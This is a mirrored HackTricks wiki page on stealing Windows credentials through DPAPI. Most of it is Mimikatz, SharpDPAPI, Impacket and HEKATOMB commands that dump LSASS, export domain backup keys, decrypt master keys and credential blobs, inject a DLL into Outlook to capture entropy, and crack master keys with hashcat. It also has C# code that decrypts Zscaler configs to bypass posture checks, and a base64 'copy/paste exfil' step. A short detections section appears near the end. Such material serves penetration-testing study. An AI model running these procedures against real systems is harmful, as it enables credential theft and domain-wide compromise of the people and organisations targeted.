mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
439 lines
22 KiB
Markdown
439 lines
22 KiB
Markdown
# DPAPI - Extracting Passwords
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
|
||
|
||
## What is DPAPI
|
||
|
||
The Data Protection API (DPAPI) is primarily utilized within the Windows operating system for the **symmetric encryption of asymmetric private keys**, leveraging either user or system secrets as a significant source of entropy. This approach simplifies encryption for developers by enabling them to encrypt data using a key derived from the user's logon secrets or, for system encryption, the system's domain authentication secrets, thus obviating the need for developers to manage the protection of the encryption key themselves.
|
||
|
||
The most common way to use DPAPI is through the **`CryptProtectData` and `CryptUnprotectData`** functions, which allow applications to encrypt and decrypt data securely with the session of the process that is currently logged on. This means that the encrypted data can only be decrypted by the same user or system that encrypted it.
|
||
|
||
Moreover, these functions accepts also an **`entropy` parameter** which will also be used during encryption and decryption, therefore, in order to decrypt something encrypted using this parameter, you must provide the same entropy value that was used during encryption.
|
||
|
||
### Users key generation
|
||
|
||
The DPAPI generates a unique key (called **`pre-key`**) for each user based on their credentials. This key is derived from the user's password and other factors and the algorithm depends on the type of user but ends being a SHA1. For example, for domain users, **it depends on the NTLM hash of the user**.
|
||
|
||
This is specially interesting because if an attacker can obtain the user's password hash, they can:
|
||
|
||
- **Decrypt any data that was encrypted using DPAPI** with that user's key without needing to contact any API
|
||
- Try to **crack the password** offline trying to generate the valid DPAPI key
|
||
|
||
Moreover, every time some data is encrypted by a user using DPAPI, a new **master key** is generated. This master key is the one actually used to encrypt data. Each master key is given with a **GUID** (Globally Unique Identifier) that identifies it.
|
||
|
||
The master keys are stored in the **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`** directory, where `{SID}` is the Security Identifier of that user. The master key is stored encrypted by the user's **`pre-key`** and also by a **domain backup key** for recovery (so the same key is stored encrypted 2 times by 2 different pass).
|
||
|
||
Note that the **domain key used to encrypt the master key is in the domain controllers and never changes**, so if an attacker has access to the domain controller, they can retrieve the domain backup key and decrypt the master keys of all users in the domain.
|
||
|
||
The encrypted blobs contain the **GUID of the master key** that was used to encrypt the data inside its headers.
|
||
|
||
> [!TIP]
|
||
> DPAPI encrypted blobs starts with **`01 00 00 00`**
|
||
|
||
Find master keys:
|
||
|
||
```bash
|
||
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
|
||
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
|
||
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
|
||
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
|
||
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
|
||
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
|
||
```
|
||
|
||
This is what a bunch of Master Keys of a user will looks like:
|
||
|
||
.png>)
|
||
|
||
### Machine/System key generation
|
||
|
||
This is key used for the machine to encrypt data. It's based on the **DPAPI_SYSTEM LSA secret**, which is a special key that only the SYSTEM user can access. This key is used to encrypt data that needs to be accessible by the system itself, such as machine-level credentials or system-wide secrets.
|
||
|
||
Note that these keys **don't have a domain backup** so they are only accesisble locally:
|
||
|
||
- **Mimikatz** can access it dumping LSA secrets using the command: `mimikatz lsadump::secrets`
|
||
- The secret is stored inside the registry, so an administrator could **modify the DACL permissions to access it**. The registry path is: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
|
||
|
||
|
||
### Protected Data by DPAPI
|
||
|
||
Among the personal data protected by DPAPI are:
|
||
|
||
- Windows creds
|
||
- Internet Explorer and Google Chrome's passwords and auto-completion data
|
||
- E-mail and internal FTP account passwords for applications like Outlook and Windows Mail
|
||
- Passwords for shared folders, resources, wireless networks, and Windows Vault, including encryption keys
|
||
- Passwords for remote desktop connections, .NET Passport, and private keys for various encryption and authentication purposes
|
||
- Network passwords managed by Credential Manager and personal data in applications using CryptProtectData, such as Skype, MSN messenger, and more
|
||
- Encrypted blobs inside the register
|
||
- ...
|
||
|
||
System protected data includes:
|
||
- Wifi passwords
|
||
- Scheduled task passwords
|
||
- ...
|
||
|
||
### Master key extraction options
|
||
|
||
- If the user has domain admin privileges, they can access the **domain backup key** to decrypt all user master keys in the domain:
|
||
|
||
```bash
|
||
# Mimikatz
|
||
lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
|
||
|
||
# SharpDPAPI
|
||
SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk]
|
||
```
|
||
|
||
- With local admin privileges, it's possible to **access the LSASS memory** to extract the DPAPI master keys of all the connected users and the SYSTEM key.
|
||
|
||
```bash
|
||
# Mimikatz
|
||
mimikatz sekurlsa::dpapi
|
||
```
|
||
|
||
- If the user has local admin privileges, they can access the **DPAPI_SYSTEM LSA secret** to decrypt the machine master keys:
|
||
|
||
```bash
|
||
# Mimikatz
|
||
lsadump::secrets /system:DPAPI_SYSTEM /export
|
||
```
|
||
|
||
- If the password or hash NTLM of the user is known, you can **decrypt the master keys of the user directly**:
|
||
|
||
```bash
|
||
# Mimikatz
|
||
dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected
|
||
|
||
# SharpDPAPI
|
||
SharpDPAPI.exe masterkeys /password:PASSWORD
|
||
```
|
||
|
||
- If you are inside a session as the user, it's possible to ask the DC for the **backup key to decrypt the master keys using RPC**. If you are local admin and the user is logged in, you could **steal his session token** for this:
|
||
|
||
```bash
|
||
# Mimikatz
|
||
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
|
||
|
||
# SharpDPAPI
|
||
SharpDPAPI.exe masterkeys /rpc
|
||
```
|
||
|
||
|
||
## List Vault
|
||
|
||
```bash
|
||
# From cmd
|
||
vaultcmd /listcreds:"Windows Credentials" /all
|
||
|
||
# From mimikatz
|
||
mimikatz vault::list
|
||
```
|
||
|
||
## Access DPAPI Encrypted Data
|
||
|
||
### Find DPAPI Encrypted data
|
||
|
||
Common users **files protected** are in:
|
||
|
||
- `C:\Users\username\AppData\Roaming\Microsoft\Protect\*`
|
||
- `C:\Users\username\AppData\Roaming\Microsoft\Credentials\*`
|
||
- `C:\Users\username\AppData\Roaming\Microsoft\Vault\*`
|
||
- Check also changing `\Roaming\` to `\Local\` in the above paths.
|
||
|
||
Enumeration examples:
|
||
|
||
```bash
|
||
dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
|
||
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
|
||
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||
```
|
||
|
||
[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) can find DPAPI encrypted blobs in the file system, registry and B64 blobs:
|
||
|
||
```bash
|
||
# Search blobs in the registry
|
||
search /type:registry [/path:HKLM] # Search complete registry by default
|
||
|
||
# Search blobs in folders
|
||
search /type:folder /path:C:\path\to\folder
|
||
search /type:folder /path:C:\Users\username\AppData\
|
||
|
||
# Search a blob inside a file
|
||
search /type:file /path:C:\path\to\file
|
||
|
||
# Search a blob inside B64 encoded data
|
||
search /type:base64 [/base:<base64 string>]
|
||
```
|
||
|
||
Note that [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (from the same repo) can be used to decrypt using DPAPI sensitive data like cookies.
|
||
|
||
### Access keys and data
|
||
|
||
- **Use SharpDPAPI** to get credentials from DPAPI encrypted files from the current session:
|
||
|
||
```bash
|
||
# Decrypt user data
|
||
## Note that 'triage' is like running credentials, vaults, rdg and certificates
|
||
SharpDPAPI.exe [credentials|vaults|rdg|keepass|certificates|triage] /unprotect
|
||
|
||
# Decrypt machine data
|
||
SharpDPAPI.exe machinetriage
|
||
```
|
||
|
||
- **Get credentials info** like the encrypted data and the guidMasterKey.
|
||
|
||
```bash
|
||
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
|
||
|
||
[...]
|
||
guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
|
||
[...]
|
||
pbData : b8f619[...snip...]b493fe
|
||
[..]
|
||
```
|
||
|
||
- **Access masterkeys**:
|
||
|
||
Decrypt a masterkey of a user requesting the **domain backup key** using RPC:
|
||
```bash
|
||
# Mimikatz
|
||
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
|
||
|
||
# SharpDPAPI
|
||
SharpDPAPI.exe masterkeys /rpc
|
||
```
|
||
|
||
The **SharpDPAPI** tool also supports these arguments for masterkey decryption (note how it's possible to use `/rpc` to get the domains backup key, `/password` to use a plaintext password, or `/pvk` to specify a DPAPI domain private key file...):
|
||
|
||
```
|
||
/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
|
||
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
|
||
/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
|
||
/password:X - decrypt the target user's masterkeys using a plaintext password (works remotely)
|
||
/ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely)
|
||
/credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely)
|
||
/rpc - decrypt the target user's masterkeys by asking domain controller to do so
|
||
/server:SERVER - triage a remote server, assuming admin access
|
||
/hashes - output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption)
|
||
```
|
||
|
||
- **Decrypt data using a masterkey**:
|
||
|
||
```bash
|
||
# Mimikatz
|
||
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
|
||
|
||
# SharpDPAPI
|
||
SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>
|
||
```
|
||
|
||
The **SharpDPAPI** tool also supports these arguments for `credentials|vaults|rdg|keepass|triage|blob|ps` decryption (note how it's possible to use `/rpc` to get the domains backup key, `/password` to use a plaintext password, `/pvk` to specify a DPAPI domain private key file, `/unprotect` to use current users session...):
|
||
|
||
```
|
||
Decryption:
|
||
/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
|
||
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
|
||
/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
|
||
/password:X - decrypt the target user's masterkeys using a plaintext password (works remotely)
|
||
/ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely)
|
||
/credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely)
|
||
/rpc - decrypt the target user's masterkeys by asking domain controller to do so
|
||
GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption
|
||
/mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption
|
||
|
||
Targeting:
|
||
/target:FILE/folder - triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder
|
||
/server:SERVER - triage a remote server, assuming admin access
|
||
Note: must use with /pvk:KEY or /password:X
|
||
Note: not applicable to 'blob' or 'ps' commands
|
||
```
|
||
|
||
- Decrypt some data using **current user session**:
|
||
|
||
```bash
|
||
# Mimikatz
|
||
dpapi::blob /in:C:\path\to\encrypted\file /unprotect
|
||
|
||
# SharpDPAPI
|
||
SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
|
||
```
|
||
|
||
---
|
||
|
||
### Offline decryption with Impacket dpapi.py
|
||
|
||
If you have the victim user’s SID and password (or NT hash), you can decrypt DPAPI masterkeys and Credential Manager blobs entirely offline using Impacket’s dpapi.py.
|
||
|
||
- Identify artefacts on disk:
|
||
- Credential Manager blob(s): %APPDATA%\Microsoft\Credentials\<hex>
|
||
- Matching masterkey: %APPDATA%\Microsoft\Protect\<SID>\{GUID}
|
||
|
||
- If file transfer tooling is flaky, base64 the files on-host and copy the output:
|
||
|
||
```powershell
|
||
# Base64-encode files for copy/paste exfil
|
||
[Convert]::ToBase64String([IO.File]::ReadAllBytes("$env:APPDATA\Microsoft\Credentials\C8D69E...B9"))
|
||
[Convert]::ToBase64String([IO.File]::ReadAllBytes("$env:APPDATA\Microsoft\Protect\<SID>\556a2412-1275-4ccf-b721-e6a0b4f90407"))
|
||
```
|
||
|
||
- Decrypt the masterkey with the user’s SID and password/hash:
|
||
|
||
```bash
|
||
# Plaintext password
|
||
python3 dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 \
|
||
-sid S-1-5-21-1111-2222-3333-1107 -password 'UserPassword!'
|
||
|
||
# Or with NT hash
|
||
python3 dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 \
|
||
-sid S-1-5-21-1111-2222-3333-1107 -key 0x<NTLM_HEX>
|
||
```
|
||
|
||
- Use the decrypted masterkey to decrypt the credential blob:
|
||
|
||
```bash
|
||
python3 dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0x<MASTERKEY_HEX>
|
||
# Expect output like: Type=CRED_TYPE_DOMAIN_PASSWORD; Target=Domain:target=DOMAIN
|
||
# Username=<user> ; Password=<cleartext>
|
||
```
|
||
|
||
This workflow often recovers domain credentials saved by apps using the Windows Credential Manager, including administrative accounts (e.g., `*_adm`).
|
||
|
||
---
|
||
|
||
### Handling Optional Entropy ("Third-party entropy")
|
||
|
||
Some applications pass an additional **entropy** value to `CryptProtectData`. Without this value the blob cannot be decrypted, even if the correct masterkey is known. Obtaining the entropy is therefore essential when targeting credentials protected in this way (e.g. Microsoft Outlook, some VPN clients).
|
||
|
||
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) is a user-mode DLL that hooks the DPAPI functions inside the target process and transparently records any optional entropy that is supplied. Running EntropyCapture in **DLL-injection** mode against processes like `outlook.exe` or `vpnclient.exe` will output a file mapping each entropy buffer to the calling process and blob. The captured entropy can later be supplied to **SharpDPAPI** (`/entropy:`) or **Mimikatz** (`/entropy:<file>`) in order to decrypt the data.
|
||
|
||
```powershell
|
||
# Inject EntropyCapture into the current user's Outlook
|
||
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
|
||
|
||
# Later decrypt a credential blob that required entropy
|
||
SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
|
||
```
|
||
|
||
|
||
### Cracking masterkeys offline (Hashcat & DPAPISnoop)
|
||
|
||
Microsoft introduced a **context 3** masterkey format starting with Windows 10 v1607 (2016). `hashcat` v6.2.6 (December 2023) added hash-modes **22100** (DPAPI masterkey v1 context ), **22101** (context 1) and **22102** (context 3) allowing GPU-accelerated cracking of user passwords directly from the masterkey file. Attackers can therefore perform word-list or brute-force attacks without interacting with the target system.
|
||
|
||
`DPAPISnoop` (2024) automates the process:
|
||
|
||
```bash
|
||
# Parse a whole Protect folder, generate hashcat format and crack
|
||
DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc
|
||
hashcat -m 22102 bob.hc wordlist.txt -O -w4
|
||
```
|
||
|
||
The tool can also parse Credential and Vault blobs, decrypt them with cracked keys and export cleartext passwords.
|
||
|
||
|
||
### Access other machine data
|
||
|
||
In **SharpDPAPI and SharpChrome** you can indicate the **`/server:HOST`** option to access a remote machine's data. Of course you need to be able to access that machine and in the following example it's supposed that the **domain backup encryption key is known**:
|
||
|
||
```bash
|
||
SharpDPAPI.exe triage /server:HOST /pvk:BASE64
|
||
SharpChrome cookies /server:HOST /pvk:BASE64
|
||
```
|
||
|
||
## Other tools
|
||
|
||
### HEKATOMB
|
||
|
||
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) is a tool that automates the extraction of all users and computers from the LDAP directory and the extraction of domain controller backup key through RPC. The script will then resolve all computers IP address and perform a smbclient on all computers to retrieve all DPAPI blobs of all users and decrypt everything with domain backup key.
|
||
|
||
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
|
||
|
||
With extracted from LDAP computers list you can find every sub network even if you didn't know them !
|
||
|
||
### DonPAPI 2.x (2024-05)
|
||
|
||
[**DonPAPI**](https://github.com/login-securite/DonPAPI) can dump secrets protected by DPAPI automatically. The 2.x release introduced:
|
||
|
||
* Parallel collection of blobs from hundreds of hosts
|
||
* Parsing of **context 3** masterkeys and automatic Hashcat cracking integration
|
||
* Support for Chrome "App-Bound" encrypted cookies (see next section)
|
||
* A new **`--snapshot`** mode to repeatedly poll endpoints and diff newly-created blobs
|
||
|
||
### DPAPISnoop
|
||
|
||
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) is a C# parser for masterkey/credential/vault files that can output Hashcat/JtR formats and optionally invoke cracking automatically. It fully supports machine and user masterkey formats up to Windows 11 24H1.
|
||
|
||
|
||
## Common detections
|
||
|
||
- Access to files in `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` and other DPAPI-related directories.
|
||
- Especially from a network share like **C$** or **ADMIN$**.
|
||
- Use of **Mimikatz**, **SharpDPAPI** or similar tooling to access LSASS memory or dump masterkeys.
|
||
- Event **4662**: *An operation was performed on an object* – can be correlated with access to the **`BCKUPKEY`** object.
|
||
- Event **4673/4674** when a process requests *SeTrustedCredManAccessPrivilege* (Credential Manager)
|
||
|
||
---
|
||
### 2023-2025 vulnerabilities & ecosystem changes
|
||
|
||
* **CVE-2023-36004 – Windows DPAPI Secure Channel Spoofing** (November 2023). An attacker with network access could trick a domain member into retrieving a malicious DPAPI backup key, allowing decryption of user masterkeys. Patched in November 2023 cumulative update – administrators should ensure DCs and workstations are fully patched.
|
||
* **Chrome 127 “App-Bound” cookie encryption** (July 2024) replaced the legacy DPAPI-only protection with an additional key stored under the user’s **Credential Manager**. Offline decryption of cookies now requires both the DPAPI masterkey and the **GCM-wrapped app-bound key**. SharpChrome v2.3 and DonPAPI 2.x are able to recover the extra key when running with user context.
|
||
|
||
|
||
### Case Study: Zscaler Client Connector – Custom Entropy Derived From SID
|
||
|
||
Zscaler Client Connector stores several configuration files under `C:\ProgramData\Zscaler` (e.g. `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`). Each file is encrypted with **DPAPI (Machine scope)** but the vendor supplies **custom entropy** that is *calculated at runtime* instead of being stored on disk.
|
||
|
||
The entropy is rebuilt from two elements:
|
||
|
||
1. A hard-coded secret embedded inside `ZSACredentialProvider.dll`.
|
||
2. The **SID** of the Windows account the configuration belongs to.
|
||
|
||
The algorithm implemented by the DLL is equivalent to:
|
||
|
||
```csharp
|
||
byte[] secret = Encoding.UTF8.GetBytes(HARDCODED_SECRET);
|
||
byte[] sid = Encoding.UTF8.GetBytes(CurrentUserSID);
|
||
|
||
// XOR the two buffers byte-by-byte
|
||
byte[] tmp = new byte[secret.Length];
|
||
for (int i = 0; i < secret.Length; i++)
|
||
tmp[i] = (byte)(sid[i] ^ secret[i]);
|
||
|
||
// Split in half and XOR both halves together to create the final entropy buffer
|
||
byte[] entropy = new byte[tmp.Length / 2];
|
||
for (int i = 0; i < entropy.Length; i++)
|
||
entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]);
|
||
```
|
||
|
||
Because the secret is embedded in a DLL that can be read from disk, **any local attacker with SYSTEM rights can regenerate the entropy for any SID** and decrypt the blobs offline:
|
||
|
||
```csharp
|
||
byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat");
|
||
byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine);
|
||
Console.WriteLine(Encoding.UTF8.GetString(clear));
|
||
```
|
||
|
||
Decryption yields the complete JSON configuration, including every **device posture check** and its expected value – information that is very valuable when attempting client-side bypasses.
|
||
|
||
> TIP: the other encrypted artefacts (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) are protected with DPAPI **without** entropy (`16` zero bytes). They can therefore be decrypted directly with `ProtectedData.Unprotect` once SYSTEM privileges are obtained.
|
||
|
||
## References
|
||
|
||
- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
|
||
|
||
- [https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13)
|
||
- [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)
|
||
- [https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004)
|
||
- [https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html)
|
||
- [https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/](https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/)
|
||
- [https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6](https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6)
|
||
- [https://github.com/Leftp/DPAPISnoop](https://github.com/Leftp/DPAPISnoop)
|
||
- [https://pypi.org/project/donpapi/2.0.0/](https://pypi.org/project/donpapi/2.0.0/)
|
||
- [Impacket – dpapi.py](https://github.com/fortra/impacket)
|
||
- [HTB Puppy: AD ACL abuse, KeePassXC Argon2 cracking, and DPAPI decryption to DC admin](https://0xdf.gitlab.io/2025/09/27/htb-puppy.html)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|